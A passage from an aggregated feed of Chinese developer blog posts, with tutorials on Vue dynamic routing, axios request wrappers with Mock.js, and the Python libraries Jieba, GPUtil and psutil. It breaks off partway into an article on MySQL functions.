import { defineStore } from "pinia"

export const useRouteStore = defineStore("route", {
  state: () => ({
    routeList: sessionStorage.getItem("routeList")
      ? JSON.parse(sessionStorage.getItem("routeList"))
      : [],
    isUpdate: false,
  }),
  actions: {
    updateRouteList(routeList) {
      this.routeList = routeList
      sessionStorage.setItem("routeList", JSON.stringify(routeList))
      this.isUpdate = true
    },
  },
  getters: {},
})

3 vue-router实现路由配置

import { createRouter, createWebHashHistory } from "vue-router"

// 定义基本路由配置
const routes = [
  {
    path: "/:pathMatch(.*)",
    meta: { title: "404" },
    name: "404",
    component: () => import("@/views/error/404.vue"),
  },
  {
    path: "/login",
    name: "login",
    component: () => import("@/views/login/Login.vue"),
    meta: { title: "登录" },
  },
  {
    path: "/",
    name: "layout",
    component: () => import("@/views/layout/Layout.vue"),
    redirect: "/home",
    children: [], // 初始时没有子路由
  },
]

export const router = createRouter({
  history: createWebHashHistory(import.meta.env.BASE_URL),
  routes,
})

// 路由守卫,用于处理路由跳转前的逻辑
router.beforeEach(async (to, from, next) => {
  // 判断是否已登录且没有 token,未登录时重定向到登录页
  const token = localStorage.getItem("token")
  if (to.path !== "/login" && !token) {
    return next({ name: "login" })
  }
  next()
})

4 动态添加路由

核心代码

router.addRoute("layout", {
path: item.path,
name: item.name,
component: () => import(`@/views/${item.name}/index.vue`),
})

完整代码

// /src/router/index.js
import { createRouter, createWebHashHistory } from "vue-router"
import { useRouteStore } from "@/store/route"
import { getRouteList } from "@/api/route"

// 定义基本路由配置
const routes = [
  {
    path: "/:pathMatch(.*)",
    meta: { title: "404" },
    name: "404",
    component: () => import("@/views/error/404.vue"),
  },
  {
    path: "/login",
    name: "login",
    component: () => import("@/views/login/Login.vue"),
    meta: { title: "登录" },
  },
  {
    path: "/",
    name: "layout",
    component: () => import("@/views/layout/Layout.vue"),
    redirect: "/home",
    children: [], // 初始时没有子路由
  },
]

export const router = createRouter({
  history: createWebHashHistory(import.meta.env.BASE_URL),
  routes,
})

// 添加动态路由
const addRoute = () => {
  const routeStore = useRouteStore()
  if (routeStore.isUpdate) {
    routeStore.routeList.forEach((item) => {
      if (!router.hasRoute(item.name)) {
        router.addRoute("layout", {
          path: item.path,
          name: item.name,
          component: () => import(`@/views/${item.name}/index.vue`),
        })
      }
    })
    routeStore.isUpdate = false
  }
}

// 初始化路由
export const initRouter = async () => {
  let routeList = sessionStorage.getItem("routeList")
    ? JSON.parse(sessionStorage.getItem("routeList"))
    : await getRouteList()
  const routeStore = useRouteStore()
  routeStore.updateRouteList(routeList)
  addRoute()
}

// 路由守卫,用于处理路由跳转前的逻辑
router.beforeEach(async (to, from, next) => {
  // 添加动态路由
  addRoute()
  // 判断是否已登录且没有 token,未登录时重定向到登录页
  const token = localStorage.getItem("token")
  if (to.path !== "/login" && !token) {
    return next({ name: "login" })
  }
  next()
})

注意:动态添加路由后刷新页面会跳转404页面,因为在进路由守卫之前,程序已经进行了路由匹配,结果就是没匹配到任何内容。

解决方案:在router注册之前调用initRouter函数初始化路由。

// main.js
import "./assets/css/main.css"

import { createApp } from "vue"
import { createPinia } from "pinia"
import App from "./App.vue"
import { initRouter, router } from "./router"

const app = createApp(App)

const call = async () => {
  app.use(createPinia())
  await initRouter()
  app.use(router)

  app.mount("#app")
}
call()

gitee地址:gitee.com/micefind/vu…

by micefind at January 21, 2025 09:32 AM

前端与服务端交互——从UI请求处理到Mock.js数据响应

🧑‍💻前端与服务端交互-HowieCong

  • 在不同的项目中,一个完整的前端UI交互到服务端处理的大致流程如下:

1. UI组件交互操作

  • 从技术层面来看,这一操作会触发相应的事件监听器

  • 以购物车为例,在按钮的模板代码<button @click="addToCart">添加到购物车</button>中,addToCart就是对应的事件处理函数

2. 调用统一管理的api serive请求函数

  • 事件处理函数内部会调用统一管理的api service请求函数。这些请求函数被集中放置在@/api文件夹下,并按照model维度进行拆分

  • 以购物车添加商品为例,addToCart函数可能会调用@/api/cart.js文件中的addProductToCart函数

  • 当购物车相关的 API 发生变化时,开发人员只需在cart.js文件中进行修改,而不会影响到其他模块的请求逻辑。

// @/api/cart.js 
import request from '../utils/request'; 
export function addProductToCart(productId, quantity) { 
    return request({ 
        url: '/cart/add', 
        method: 'post', 
        data: { 
            productId, 
            quantity 
        } 
    }); 
}

3. 使用封装的 request.js 发送请求

  • @/utils/request.js文件基于axios进行了深度封装,目的是为了统一处理POST , GET 等请求参数,参数头,以及错误提示信息,封装了全局request拦截器、response拦截器、统一的错误提示、统一做了超时处理、baseURL设置等

  • 在构建请求时,request函数会根据传入的参数,如urlmethodgetpostputdelete等)、params(用于get请求的查询参数)或data(用于postput等请求的请求体数据),生成符合服务端接口要求的请求

  • 在请求发送之前,通过全局request拦截器对请求进行预处理。例如,在每个请求中添加公共的请求头信息,这对于需要进行身份验证的 API 尤为重要。假设我们使用 JSON Web Token(JWT)进行身份验证,拦截器可以在每个请求的Authorization头中添加Bearer <token>。设置了统一的超时处理。如果请求在规定的时间(如 5000 毫秒)内没有得到响应,会自动终止请求并抛出错误。这有助于避免因网络问题导致的长时间等待,提升用户体验。

// @/utils/request.js 
import axios from 'axios'; 
const service = axios.create({ 
    baseURL: process.env.BASE_API, 
    timeout: 5000 
}); 
service.interceptors.request.use(config => { 
    const token = localStorage.getItem('token'); 
    if (token) { 
        config.headers.Authorization = `Bearer ${token}`; 
    } 
    return config; 
}, error => { 
    return Promise.reject(error); 
});

4. 获取服务端返回

  • 服务端接收到请求后,会进行相应的业务逻辑处理,例如:在购物车添加商品的场景中,服务端可能会验证用户的身份、检查商品库存、更新购物车数据库等操作。处理完成后,服务端会返回响应数据给前端

  • 前端通过axiosresponse拦截器来统一处理服务端的返回。response拦截器首先会检查响应的状态码。

  • 如果状态码表示请求成功(如 200 表示成功,201 表示资源已成功创建等),则会进一步处理响应数据,

  • 如果状态码表示请求失败(如 400 表示客户端请求错误,401 表示未授权,500 表示服务器内部错误等),response拦截器会触发统一的错误处理机制。这可能包括向用户展示友好的错误提示信息,告知用户请求失败的原因。例如,如果是 401 未授权错误,可以提示用户 “您的登录状态已过期,请重新登录”。

  • Eg:对于购物车添加商品的请求,服务端可能返回更新后的购物车信息,包括商品列表、总价等

service.interceptors.response.use(response => {
    const { status, data } = response;
    if (status === 200) {
        return data;
    } else {
        // 处理非成功状态码的情况
        return Promise.reject(new Error(`请求失败,状态码: ${status}`));
    }
}, error => {
    return Promise.reject(error);
});

5. 更新 data 与 Mock.js 结合

  • 在前端开发,通常会用Mock.js来模拟服务端返回的数据,以便没有真实服务端的情况进行开发和测试。

  • Mock.js可以生产随机数据,并按照指定的格式返回给前端

  • Eg:在购物车添加商品的场景中,可以使用Mock.js来模拟服务端返回的更新后的购物车信息,使用 Mock.js 生成了一个包含 3 到 10 个商品的购物车信息。每个商品包含 id、name、price 和 quantity 四个属性,其中 id 是自增的,name 是随机生成的 5 到 10 个字符的字符串,price 是 10 到 100 之间的随机数,quantity 是 1 到 10 之间的随机数。totalPrice 属性是通过计算购物车中所有商品的价格和数量得出的。在组件中,可以将模拟数据赋值给 cart 属性,以便在页面上显示购物车信息。

import Mock from 'mockjs'

// 模拟服务端返回的购物车信息
const cartData = Mock.mock({
  'items|3-10': [
    {
      'id|+1': 1,
      'name': '@cword(5, 10)',
      'price|10-100': 10,
      'quantity|1-10': 1
    }
  ],
  'totalPrice': function () {
    return this.items.reduce((total, item) => total + item.price * item.quantity, 0)
  }
})

// 在组件中使用模拟数据
export default {
  data() {
    return {
      cart: cartData
    }
  }
}

6. Eg:一个完善的request.js

import axios from 'axios'
import { MessageBox, Message } from 'element-ui'
import store from '@/store'
import { getToken } from '@/utils/auth'

// 创建一个 axios 实例
const service = axios.create({
  baseURL: process.env.VUE_APP_BASE_API, // url = 基础 url + 请求 url
  // withCredentials: true, // 当跨域请求时发送 cookies
  timeout: 5000 // 请求超时时间
})

// request 拦截器
service.interceptors.request.use(
  config => {
    // 请求发送前做一些处理

    if (store.getters.token) {
      // 让每个请求携带 token
      // ['X-Token'] 是自定义的 headers 键
      // 请根据实际情况进行修改
      config.headers['X-Token'] = getToken()
    }
    return config
  },
  error => {
    // 处理请求错误
    console.log(error) // 用于调试
    return Promise.reject(error)
  }
)

// response 拦截器
service.interceptors.response.use(
  /**
   * 如果你想获取 HTTP 信息如 headers 或者状态
   * 请返回 response => response
   */

  /**
   * 通过自定义代码来判断请求状态
   * 这里只是一个例子
   * 你也可以通过 HTTP 状态码来判断状态
   */
  response => {
    const res = response.data

    // 如果自定义代码不是 20000,则判断为错误
    if (res.code!== 20000) {
      Message({
        message: res.message || '错误',
        type: 'error',
        duration: 5 * 1000
      })

      // 50008: 非法 token; 50012: 其他客户端登录了; 50014: token 过期;
      if (res.code === 50008 || res.code === 50012 || res.code === 50014) {
        // 重新登录
        MessageBox.confirm('你已被登出,可以取消以留在此页面,或者重新登录', '确认登出', {
          confirmButtonText: '重新登录',
          cancelButtonText: '取消',
          type: 'warning'
        }).then(() => {
          store.dispatch('user/resetToken').then(() => {
            location.reload()
          })
        })
      }
      return Promise.reject(new Error(res.message || '错误'))
    } else {
      return res
    }
  },
  error => {
    console.log('错误' + error) // 用于调试
    if (error.response) {
      switch (error.response.status) {
        case 400:
          Message.error('请求错误')
          break
        case 401:
          Message.error('未授权,请重新登录')
          // 清除 token 并跳转到登录页面
          store.dispatch('user/resetToken').then(() => {
            location.reload()
          })
          break
        case 403:
          Message.error('禁止访问')
          break
        case 404:
          Message.error('请求的资源不存在')
          break
        case 500:
          Message.error('服务器内部错误')
          break
        default:
          Message.error('未知错误')
      }
    } else {
      Message.error('网络连接错误,请检查网络设置')
    }
    return Promise.reject(error)
  }
)

export default service

❓其他

1. 疑问与作者HowieCong声明

  • 如有疑问、出错的知识,请及时点击下方链接添加作者HowieCong的其中一种联系方式或发送邮件到下方邮箱告知作者HowieCong

  • 若想让作者更新哪些方面的技术文章或补充更多知识在这篇文章,请及时点击下方链接添加里面其中一种联系方式或发送邮件到下方邮箱告知作者HowieCong

  • 声明:作者HowieCong目前只是一个前端开发小菜鸟,写文章的初衷只是全面提高自身能力和见识;如果对此篇文章喜欢或能帮助到你,麻烦给作者HowieCong点个关注/给这篇文章点个赞/收藏这篇文章/在评论区留下你的想法吧,欢迎大家来交流!

2. 作者社交媒体/邮箱-HowieCong

by HowieCong at January 21, 2025 09:26 AM

juejin backend

Python 中文分词神器:Jieba 库详解与实战指南

Python 中文分词神器:Jieba 库详解与实战指南

简介

在自然语言处理(NLP)领域,中文分词是一项基础却非常重要的任务,因为中文不像英文等语言具有空格分隔单词。在中文中,单词之间没有明确的界限,因此需要依靠分词工具进行划分。 Jieba 是 Python 中最流行的中文分词工具,它以简单易用、高效和灵活著称,支持多种分词模式、用户自定义词典和关键词提取。

在本文中,我们将详细介绍 Jieba 的功能、原理和用法,并通过丰富的代码示例和实战案例帮助您快速掌握这个工具。


1. Jieba 的安装

可以通过 pip 快速安装 Jieba

pip install jieba

安装完成后,可以通过以下命令检查版本:

import jieba
print(jieba.__version__)  # 输出当前版本号

2. Jieba 的基本功能

2.1 分词模式

Jieba 提供了三种主要的分词模式:

  1. 精确模式 尽量精确地切分文本,适合用于文本分析。

    import jieba
    text = "我来到北京清华大学"
    words = jieba.lcut(text)  # 返回列表
    print(words)  # 输出:['我', '来到', '北京', '清华大学']
    

    如果需要一个字符串形式的结果,可以使用 jieba.cut

    words = "/".join(jieba.cut(text))
    print(words)  # 输出:我/来到/北京/清华大学
    
  2. 全模式 将句子中的所有可能词语都扫描出来,适合用于搜索引擎分词。

    words = jieba.lcut(text, cut_all=True)
    print(words)  # 输出:['我', '来到', '北京', '清华', '清华大学', '华大', '大学']
    
  3. 搜索引擎模式 在精确模式的基础上,对长词再进行切分,提高召回率,适合用于搜索引擎。

    words = jieba.lcut_for_search(text)
    print(words)  # 输出:['我', '来到', '北京', '清华', '华大', '大学', '清华大学']
    

2.2 添加自定义词

默认情况下,Jieba 的分词结果依赖于其内置词典。如果需要添加特定领域的词语,可以使用 jieba.add_word

jieba.add_word("自然语言处理")
text = "我正在学习自然语言处理"
print(jieba.lcut(text))  # 输出:['我', '正在', '学习', '自然语言处理']

还可以通过调整词频影响分词结果:

jieba.suggest_freq("北京大学", tune=True)
text = "北京大学生前来参观"
print(jieba.lcut(text))  # 输出:['北京大学', '生', '前来', '参观']

3. Jieba 的高级功能

3.1 自定义词典

可以加载用户自定义的词典,适用于领域特定的分词任务。用户词典是一个 UTF-8 编码的文本文件,每行包括一个词和它的词频。

示例文件 user_dict.txt 内容:

自然语言处理 10
机器学习 5
深度学习 20

加载自定义词典:

jieba.load_userdict("user_dict.txt")
text = "自然语言处理和深度学习是人工智能的重要领域"
print(jieba.lcut(text))
# 输出:['自然语言处理', '和', '深度学习', '是', '人工智能', '的', '重要', '领域']

3.2 关键词提取

Jieba 提供了基于 TF-IDF 和 TextRank 两种方法的关键词提取功能。

(1)基于 TF-IDF 的关键词提取
import jieba.analyse

text = "自然语言处理是人工智能的重要分支,它研究如何通过计算机实现语言的理解和生成。"
keywords = jieba.analyse.extract_tags(text, topK=5, withWeight=True)
for word, weight in keywords:
    print(f"{word}: {weight}")

输出示例:

自然语言处理: 0.386
人工智能: 0.272
分支: 0.221
语言: 0.215
理解: 0.213
(2)基于 TextRank 的关键词提取
keywords = jieba.analyse.textrank(text, topK=5, withWeight=True)
for word, weight in keywords:
    print(f"{word}: {weight}")

3.3 词性标注

Jieba 支持对分词结果进行词性标注:

import jieba.posseg as pseg

text = "我爱自然语言处理"
words = pseg.cut(text)
for word, flag in words:
    print(f"{word}: {flag}")

输出示例:

我: r
爱: v
自然语言处理: n

3.4 并行分词

对于大文本的分词任务,Jieba 提供了并行分词功能,可以显著提升处理速度。

jieba.enable_parallel(4)  # 启用 4 个线程
text = "自然语言处理是人工智能的重要分支。" * 100
words = jieba.lcut(text)
jieba.disable_parallel()  # 关闭并行分词
print(words[:10])

4. Jieba 实战案例

4.1 中文文档词频统计

from collections import Counter
import jieba

text = "自然语言处理是人工智能的重要分支,它研究如何通过计算机实现语言的理解和生成。"
words = jieba.lcut(text)
counter = Counter(words)
for word, freq in counter.most_common(10):
    print(f"{word}: {freq}")

4.2 构建简单的搜索引擎

import jieba
from collections import defaultdict

# 假设有以下文档
docs = {
    1: "自然语言处理是人工智能的重要分支。",
    2: "深度学习是机器学习的一个重要方向。",
    3: "语言模型是自然语言处理的核心技术。"
}

# 构建倒排索引
inverted_index = defaultdict(list)
for doc_id, content in docs.items():
    words = jieba.lcut(content)
    for word in set(words):
        inverted_index[word].append(doc_id)

# 搜索引擎
def search(query):
    words = jieba.lcut(query)
    result = set()
    for word in words:
        if word in inverted_index:
            result.update(inverted_index[word])
    return result

# 测试搜索
query = "语言"
print(f"包含 '{query}' 的文档 ID: {search(query)}")

5. 总结

Jieba 是中文 NLP 领域的神器,凭借其高效的分词能力、灵活的自定义功能和丰富的扩展接口,被广泛应用于文本分析、搜索引擎、关键词提取等场景。 通过本篇文章的讲解,相信您已经对 Jieba 的功能和使用有了全面的了解。无论是简单的分词需求,还是复杂的 NLP 应用,Jieba 都是您的得力助手。

更多扩展阅读

by 黎明怀羽 at January 21, 2025 09:22 AM

Python GPUtil 工具详解与使用指南

Python GPUtil 工具详解与使用指南

简介

GPUtil 是 Python 中一个轻量级的工具库,用于获取 GPU 的运行状态及信息。它能够提供 GPU 的名称、型号、利用率、显存占用等信息,非常适合用于构建 GPU 管理、分配资源以及系统监控等任务。

在本文中,我们将详细介绍 GPUtil 的功能及其使用方法,配合代码示例帮助您快速上手。


安装 GPUtil

在开始使用 GPUtil 前,需要先安装它。可以使用以下命令完成安装:

pip install gputil

此外,由于 GPUtil 会依赖于 NVIDIA 的 GPU 驱动和 nvidia-smi 工具,因此需要确保您的系统已正确安装了这些工具。


GPUtil 的主要功能

GPUtil 的核心功能围绕 GPU 的信息获取和状态监控。以下是其主要功能:

  1. 获取 GPU 的基本信息
  2. 实时监控 GPU 使用率
  3. 筛选最佳 GPU
  4. 自定义 GPU 选择逻辑

1. 获取 GPU 的基本信息

使用 GPUtil,可以轻松获取系统中所有 GPU 的详细信息,包括 GPU 名称、GPU ID、负载、显存占用等。

获取所有 GPU 信息

import GPUtil

# 获取所有 GPU 的信息
gpus = GPUtil.getGPUs()

# 打印每块 GPU 的详细信息
for gpu in gpus:
    print(f"GPU ID: {gpu.id}")
    print(f"名称: {gpu.name}")
    print(f"负载: {gpu.load * 100:.2f}%")
    print(f"显存占用: {gpu.memoryUsed} MB")
    print(f"显存总量: {gpu.memoryTotal} MB")
    print(f"显存使用率: {gpu.memoryUtil * 100:.2f}%")
    print(f"温度: {gpu.temperature} °C")
    print("-" * 40)

输出示例:

GPU ID: 0
名称: NVIDIA GeForce RTX 3090
负载: 15.50%
显存占用: 1024 MB
显存总量: 24576 MB
显存使用率: 4.17%
温度: 52 °C
----------------------------------------

2. 实时监控 GPU 使用率

定时监控

通过 GPUtil.getGPUs() 可以每隔固定时间获取 GPU 信息,实现实时监控。

import GPUtil
import time

# 每隔 2 秒打印一次 GPU 使用情况
while True:
    gpus = GPUtil.getGPUs()
    for gpu in gpus:
        print(f"GPU {gpu.id} - {gpu.name}:")
        print(f"  负载: {gpu.load * 100:.2f}%")
        print(f"  显存使用: {gpu.memoryUsed} MB / {gpu.memoryTotal} MB")
        print(f"  温度: {gpu.temperature} °C")
    print("-" * 40)
    time.sleep(2)

该脚本适合用于简单的 GPU 使用率监控工具,也可以进一步扩展为可视化的实时监控应用。


3. 筛选最佳 GPU

在需要选择 GPU 运行计算任务时,GPUtil 提供了便捷的筛选功能。通过 GPUtil.getFirstAvailable(),可以快速找到满足条件的 GPU。

筛选空闲的 GPU

import GPUtil

# 找到最空闲的 GPU
best_gpu = GPUtil.getFirstAvailable()

if best_gpu:
    print(f"最空闲的 GPU 是: GPU {best_gpu[0]}")
else:
    print("没有可用的 GPU")

指定条件筛选

可以通过自定义负载和显存占用的限制,筛选符合条件的 GPU:

# 筛选负载小于 50% 且显存占用低于 30% 的 GPU
available_gpus = GPUtil.getAvailable(order='memory', maxLoad=0.5, maxMemory=0.3)

if available_gpus:
    print("可用的 GPU ID:")
    print(available_gpus)
else:
    print("没有符合条件的 GPU")

4. 自定义 GPU 选择逻辑

根据负载排序 GPU

如果需要根据 GPU 的负载大小选择最合适的 GPU,可以使用 GPUtil.sort() 方法:

import GPUtil

# 按负载从低到高排序 GPU
gpus = GPUtil.getGPUs()
sorted_gpus = GPUtil.sort(gpus, key=lambda x: x.load)

print("根据负载排序的 GPU:")
for gpu in sorted_gpus:
    print(f"GPU {gpu.id} - 负载: {gpu.load * 100:.2f}%")

多 GPU 分配任务

对于多 GPU 系统,可以根据每块 GPU 的当前负载,将计算任务合理分配到不同 GPU 上:

# 模拟任务分配
tasks = ["Task A", "Task B", "Task C"]
gpus = GPUtil.getGPUs()
sorted_gpus = GPUtil.sort(gpus, key=lambda x: x.load)

for task, gpu in zip(tasks, sorted_gpus):
    print(f"{task} 分配到 GPU {gpu.id} - {gpu.name}")

5. GPU 温度监控与报警

GPUtil 提供了 GPU 温度信息,可以用来构建简单的 GPU 温度报警系统。

温度报警脚本

import GPUtil
import time

# 设置温度阈值
TEMPERATURE_THRESHOLD = 80

# 实时监控温度
while True:
    gpus = GPUtil.getGPUs()
    for gpu in gpus:
        if gpu.temperature > TEMPERATURE_THRESHOLD:
            print(f"警告: GPU {gpu.id} 温度过高 ({gpu.temperature} °C)")
        else:
            print(f"GPU {gpu.id} 温度正常 ({gpu.temperature} °C)")
    time.sleep(5)

6. 与其他工具集成

与 TensorFlow 一起使用

在深度学习项目中,可以通过 GPUtil 检测可用 GPU,并动态分配任务给空闲 GPU。

import GPUtil
import tensorflow as tf

# 获取最空闲的 GPU
available_gpus = GPUtil.getAvailable(order='memory', maxLoad=0.5, maxMemory=0.3)

if available_gpus:
    gpu_id = available_gpus[0]
    print(f"使用 GPU: {gpu_id}")
    tf.config.set_visible_devices([tf.config.list_physical_devices('GPU')[gpu_id]], 'GPU')
else:
    print("没有可用的 GPU,切换到 CPU 模式")

7. GPUtil 的高级用法

获取 GPU 快照

通过捕获 GPU 状态快照,可以实现 GPU 状态的时间序列监控。

import GPUtil
import time

snapshots = []

for _ in range(10):  # 采样 10 次
    snapshot = GPUtil.getGPUs()
    snapshots.append(snapshot)
    time.sleep(1)

# 打印采样结果
for idx, snapshot in enumerate(snapshots):
    print(f"采样 {idx + 1}:")
    for gpu in snapshot:
        print(f"  GPU {gpu.id} - 负载: {gpu.load * 100:.2f}% - 温度: {gpu.temperature} °C")
    print("-" * 40)

总结

GPUtil 是一个非常实用的工具库,特别适合用于 GPU 信息监控和任务分配管理。在本文中,我们详细介绍了其安装、基本用法、筛选逻辑以及高级功能。通过这些功能,开发者可以轻松构建 GPU 监控系统或优化任务分配策略。

无论是用于构建个人监控工具,还是作为深度学习任务管理的一部分,GPUtil 都能提供强大的支持。希望本文能够帮助您快速掌握 GPUtil 的使用方法,并在实际项目中灵活运用!

by 黎明怀羽 at January 21, 2025 09:17 AM

Python psutil 工具详解与使用指南

Python psutil 工具详解与使用指南

简介

psutil(process and system utilities)是 Python 中一个强大的跨平台库,用于获取系统信息和管理系统进程。通过 psutil,开发者可以轻松访问 CPU、内存、磁盘、网络、传感器等信息,还能进行进程管理操作,比如终止进程、查看进程资源占用等。

在本文中,我们将详细介绍 psutil 的功能及其常见用法,并通过代码示例帮助读者快速掌握该工具。


安装 psutil

在开始使用前,需要安装 psutil,可以使用以下命令:

pip install psutil

psutil 的主要功能

psutil 提供了丰富的系统信息和进程管理功能,其主要功能包括:

  1. 系统信息

    • CPU 信息
    • 内存信息
    • 磁盘信息
    • 网络信息
    • 传感器信息(如温度、电池等)
  2. 进程管理

    • 获取进程信息
    • 终止、挂起、恢复进程
    • 获取当前运行进程的快照

1. 获取 CPU 信息

获取 CPU 总览信息

psutil 提供了多种方式来获取 CPU 的使用情况和性能信息:

import psutil

# 获取 CPU 的逻辑核心数
logical_cores = psutil.cpu_count(logical=True)
print(f"逻辑核心数:{logical_cores}")

# 获取 CPU 的物理核心数
physical_cores = psutil.cpu_count(logical=False)
print(f"物理核心数:{physical_cores}")

# 获取每个核心的使用率(百分比)
cpu_percent_per_core = psutil.cpu_percent(interval=1, percpu=True)
print(f"每个核心的使用率:{cpu_percent_per_core}")

# 获取总的 CPU 使用率
cpu_percent_total = psutil.cpu_percent(interval=1)
print(f"总的 CPU 使用率:{cpu_percent_total}%")

获取 CPU 时间占比

psutil.cpu_times() 返回 CPU 时间的详细信息:

cpu_times = psutil.cpu_times()
print("CPU 时间占比:")
print(f"用户时间:{cpu_times.user} 秒")
print(f"系统时间:{cpu_times.system} 秒")
print(f"空闲时间:{cpu_times.idle} 秒")

2. 获取内存信息

psutil 提供了 virtual_memoryswap_memory 两个方法,用于获取虚拟内存和交换内存的信息。

虚拟内存信息

mem_info = psutil.virtual_memory()

print("虚拟内存信息:")
print(f"总内存:{mem_info.total / 1024 / 1024:.2f} MB")
print(f"已用内存:{mem_info.used / 1024 / 1024:.2f} MB")
print(f"剩余内存:{mem_info.available / 1024 / 1024:.2f} MB")
print(f"内存使用率:{mem_info.percent}%")

交换内存信息

swap_info = psutil.swap_memory()

print("交换内存信息:")
print(f"总交换区:{swap_info.total / 1024 / 1024:.2f} MB")
print(f"已用交换区:{swap_info.used / 1024 / 1024:.2f} MB")
print(f"剩余交换区:{swap_info.free / 1024 / 1024:.2f} MB")
print(f"交换区使用率:{swap_info.percent}%")

3. 获取磁盘信息

磁盘分区信息

使用 psutil.disk_partitions() 可以获取所有磁盘分区的详细信息:

partitions = psutil.disk_partitions()
print("磁盘分区信息:")
for partition in partitions:
    print(f"设备:{partition.device}")
    print(f"挂载点:{partition.mountpoint}")
    print(f"文件系统类型:{partition.fstype}")
    print("-" * 20)

磁盘使用情况

psutil.disk_usage() 返回特定分区的使用情况:

disk_usage = psutil.disk_usage('/')
print("根目录磁盘使用情况:")
print(f"总空间:{disk_usage.total / 1024 / 1024 / 1024:.2f} GB")
print(f"已用空间:{disk_usage.used / 1024 / 1024 / 1024:.2f} GB")
print(f"剩余空间:{disk_usage.free / 1024 / 1024 / 1024:.2f} GB")
print(f"使用率:{disk_usage.percent}%")

磁盘 IO 信息

disk_io = psutil.disk_io_counters()
print("磁盘 IO 信息:")
print(f"读操作次数:{disk_io.read_count}")
print(f"写操作次数:{disk_io.write_count}")
print(f"读取数据量:{disk_io.read_bytes / 1024 / 1024:.2f} MB")
print(f"写入数据量:{disk_io.write_bytes / 1024 / 1024:.2f} MB")

4. 获取网络信息

网络总览信息

net_io = psutil.net_io_counters()
print("网络总览信息:")
print(f"发送字节数:{net_io.bytes_sent / 1024 / 1024:.2f} MB")
print(f"接收字节数:{net_io.bytes_recv / 1024 / 1024:.2f} MB")
print(f"发送包数:{net_io.packets_sent}")
print(f"接收包数:{net_io.packets_recv}")

网络接口信息

psutil.net_if_addrs() 提供了每个网络接口的地址信息:

net_interfaces = psutil.net_if_addrs()
print("网络接口信息:")
for interface, addrs in net_interfaces.items():
    print(f"接口:{interface}")
    for addr in addrs:
        print(f"  地址:{addr.address}")
        print(f"  网络掩码:{addr.netmask}")
        print(f"  广播地址:{addr.broadcast}")
        print("-" * 20)

5. 进程管理

psutil 提供了全面的进程管理功能,可以列出所有进程,获取某个进程的详细信息,或者对进程进行操作。

获取当前运行的所有进程

for proc in psutil.process_iter(attrs=['pid', 'name', 'username']):
    print(f"PID:{proc.info['pid']},名称:{proc.info['name']},用户:{proc.info['username']}")

获取特定进程的信息

pid = 1  # 这里以 PID 为 1 的进程为例
try:
    process = psutil.Process(pid)
    print(f"进程名称:{process.name()}")
    print(f"进程状态:{process.status()}")
    print(f"CPU 使用率:{process.cpu_percent()}%")
    print(f"内存使用量:{process.memory_info().rss / 1024 / 1024:.2f} MB")
except psutil.NoSuchProcess:
    print(f"进程 PID {pid} 不存在")

终止进程

try:
    process.terminate()  # 终止进程
    print(f"进程 PID {pid} 已终止")
except psutil.NoSuchProcess:
    print(f"进程 PID {pid} 不存在")

6. 传感器信息

获取电池状态

battery = psutil.sensors_battery()
if battery:
    print(f"电量:{battery.percent}%")
    print(f"是否正在充电:{'是' if battery.power_plugged else '否'}")
else:
    print("无法获取电池信息")

总结

psutil 是一个功能丰富且易用的库,适合开发者快速获取系统信息或进行进程管理。通过本教程的示例代码,读者可以轻松上手并应用到自己的项目中。无论是构建系统监控工具,还是实现资源管理功能,psutil 都是一个值得选择的解决方案。

by 黎明怀羽 at January 21, 2025 09:15 AM

MySQL 函数大揭秘:SQL 魔法秀

嘿,各位热爱探索数据宇宙的小伙伴们!今天,咱们将一同踏入 MySQL 函数这片充满奇幻色彩的神秘领域,这就如同开启一场探秘魔法仓库的奇妙之旅。在这里,每一个函数都如同拥有神奇魔力的魔法道具,只需轻轻挥动代码的魔杖,就能让杂乱无章的数据瞬间变得井然有序,乖乖听从你的指挥。

字符串函数:文字游戏大师

CONCAT 函数 - 数据拼接小能手

想象一下,你面前摆着一堆杂乱无章的数据,就像被打翻在地的乐高积木,每一块都承载着独特的信息,但此刻却散落一地,毫无头绪。而CONCAT函数就如同一位技艺高超的乐高大师,他能够精准地拿起每一块积木,巧妙地将它们拼接在一起,搭建出一个完整而有序的结构。

在实际的数据库应用场景中,比如我们有一张记录用户信息的users表,其中first_name字段记录着用户的名字,last_name字段记录着姓氏。若我们想将这两个字段合并,展示出完整的用户姓名,CONCAT函数便能轻松实现这一需求。

SELECT CONCAT(first_name,' ', last_name) AS full_name
FROM users;

这就好比将 “张三” 和 “李四” 中间恰到好处地加上一个空格,瞬间组合成了 “张三 李四”。有了CONCAT函数,处理字符串拼接问题就像玩一场简单的拼图游戏,轻松又有趣,是不是超简单呢?

LENGTH 函数 - 字符串长度测量仪

在处理文本数据的过程中,我们常常需要了解一个字符串究竟包含多少字符,就如同在测量一个物体的长度。此时,LENGTH函数就如同为我们递上了一把精准无比的尺子,专门用来测量字符串的 “长度”。

比如,当我们想要知道 “掘金小达人” 这个用户名到底由多少个字符组成时,只需调用LENGTH函数即可。

SELECT LENGTH('掘金小达人') AS length_of_name;

执行这条语句后,它会迅速反馈给我们准确的字符数量。在处理文本相关的业务逻辑时,这个函数非常实用,无论是数据的校验、存储容量的估算,还是文本内容的分析,它都能发挥关键作用。

数值函数:数字魔法师

ROUND 函数 - 数字的贴心 “四舍五入” 伙伴

在与数字打交道的日常工作中,我们经常会遇到这样的情况:不需要过于精确的数值,只需要保留一定的小数位数。这时,ROUND函数就像一位贴心的数字管家,能够按照我们的要求对数字进行精准的四舍五入处理。

例如,在数学计算、财务统计或是科学实验数据处理中,我们常常会遇到像圆周率这样的无限不循环小数。假设我们只需要保留两位小数,以满足实际业务的精度需求。

SELECT ROUND(3.14159, 2) AS rounded_number;

执行后,它会将 3.14159 巧妙地变成 3.14,是不是很贴心呢?无论是在处理复杂的科学计算数据,还是严谨的财务数据统计,ROUND函数都能确保数据的精度恰到好处。

SUM 函数 - 数字大累加器

当面对大量的数字数据,想要快速知晓它们的总和时,SUM函数无疑是我们的得力助手。它就像一个不知疲倦的数字大管家,能够高效地将所有数字逐一累加起来。

以销售数据统计为例,假设有一张名为sales的销售记录表,其中记录了每天的sales_amount(销售金额)。要统计一个月的销售总额,使用SUM函数就变得轻而易举。

SELECT SUM(sales_amount) AS total_sales
FROM sales;

它会迅速遍历sales表中的每一条销售记录,将所有的销售金额相加,最终准确地告诉你这个月的销售总额,让你对销售业绩一目了然,为制定销售策略提供有力的数据支持。

日期函数:时间的指挥家

NOW 函数 - 抓取当下时间的 “快门”

